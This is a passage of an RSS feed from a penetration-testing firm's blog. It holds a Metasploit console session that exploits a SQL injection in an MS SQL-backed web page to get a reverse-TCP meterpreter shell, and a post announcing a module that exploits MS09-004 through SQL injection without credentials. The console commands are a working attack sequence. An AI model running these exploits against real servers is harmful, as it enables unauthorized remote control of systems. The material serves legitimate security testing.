msf exploit(mssql_payload_sqli) &gt;</pre>
<pre> set GET_PATH http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--</pre>
<pre>GET_PATH =&gt; http://192.168.1.66/
 showproduct.asp?id=1;[SQLi];--</pre>
<pre>msf exploit(mssql_payload_sqli) &gt; set RHOST 192.168.1.66

RHOST =&gt; 192.168.1.66

msf exploit(mssql_payload_sqli) &gt;</pre>
<pre> set PAYLOAD windows/patchupmeterpreter/reverse_tcp

PAYLOAD =&gt; windows/patchupmeterpreter/reverse_tcp

msf exploit(mssql_payload_sqli) &gt; set LHOST 192.168.1.64

LHOST =&gt; 192.168.1.64

msf exploit(mssql_payload_sqli) &gt; set LPORT 80

LPORT =&gt; 80

msf exploit(mssql_payload_sqli) &gt; exploit</pre>
<p>After the exploitation the attacker will get a meterpreter shell.</p>
<div id="attachment_144" class="wp-caption aligncenter" style="width: 287px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/01/sqlinjection2.png"><img class="size-medium wp-image-144" title="Penetration testing - SQL injection" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/01/sqlinjection2-277x300.png" alt="SQL injection exploitation with Metasploit" width="277" height="300" /></a><p class="wp-caption-text">SQL injection exploitation with Metasploit</p></div>
<p>If you want to use this code you can download it from Secforce <a title="Penetration testing tools" href="http://www.secforce.co.uk/research/tools.html" target="_self">security tools</a> repository.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/01/penetration-testing-sql-injection-and-metasploit/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Exploiting MS09-004 via SQL injection</title>
		<link>http://www.secforce.com/blog/2011/01/exploiting-ms09-004-via-sql-injection/</link>
		<comments>http://www.secforce.com/blog/2011/01/exploiting-ms09-004-via-sql-injection/#comments</comments>
		<pubDate>Mon, 24 Jan 2011 10:51:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Penetration Testing]]></category>

		<category><![CDATA[Tools]]></category>

		<category><![CDATA[exploit]]></category>

		<category><![CDATA[exploitation]]></category>

		<category><![CDATA[metasploit]]></category>

		<category><![CDATA[MS09-004]]></category>

		<category><![CDATA[SECFORCE]]></category>

		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.secforce.co.uk/blog/?p=125</guid>
		<description><![CDATA[Recently we were performing an web application penetration test to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn&#8217;t allow to execute commands via the well known xp_cmdshell stored procedure.
Based on the [...]]]></description>
			<content:encoded><![CDATA[<p>Recently we were performing an web application <a title="Penetration testing" href="http://www.secforce.co.uk/penetration-testing/penetration-testing.php" target="_self">penetration test</a> to one of our clients and identified a SQL injection vulnerability. The vulnerability allowed us to conduct a degree of fingerprinting on the remote server; however, the Microsoft SQL Server back-end database didn&#8217;t allow to execute commands via the well known xp_cmdshell stored procedure.</p>
<p>Based on the fingerprinting information we identified that the database server was running an old and vulnerable version of MS SQL server. Microsoft SQL Sever 2000 SP3, to be precise.</p>
<p>All indicated that the server was vulnerable to <a title="Microsoft MS09-004" href="http://www.microsoft.com/technet/security/bulletin/ms09-004.mspx" target="_blank">MS09-004</a> vulnerability. However, it was not possible to get direct access to the database. Moreover no authentication credentials were discovered during the course of the assessment.</p>
<p>This is how our newly released Metasploit module was born. We coded an extension which can be added to Metasploit to exploit this vulnerability using a SQL injection vulnerability with no need of using credentials, as the web application will authenticate in our behalf.</p>
<div id="attachment_134" class="wp-caption aligncenter" style="width: 310px"><a href="http://www.secforce.co.uk/blog/wp-content/uploads/2011/01/ms09044_exploitation_small.png"><img class="size-medium wp-image-134" title="ms09044_exploitation" src="http://www.secforce.co.uk/blog/wp-content/uploads/2011/01/ms09044_exploitation_small-300x262.png" alt="Penetration testing - SQL injection exploitation" width="300" height="262" /></a><p class="wp-caption-text">Penetration testing - SQL injection exploitation</p></div>
<p>The screenshot above shows how to get meterpreter (or any other payload of your choice) exploiting the vulnerability from Metasploit.</p>
<p>If interested, get the scripts from our <a title="Security tools for penetration testing" href="http://www.secforce.co.uk/research/tools.html" target="_self">security tools</a> area.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.secforce.com/blog/2011/01/exploiting-ms09-004-via-sql-injection/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

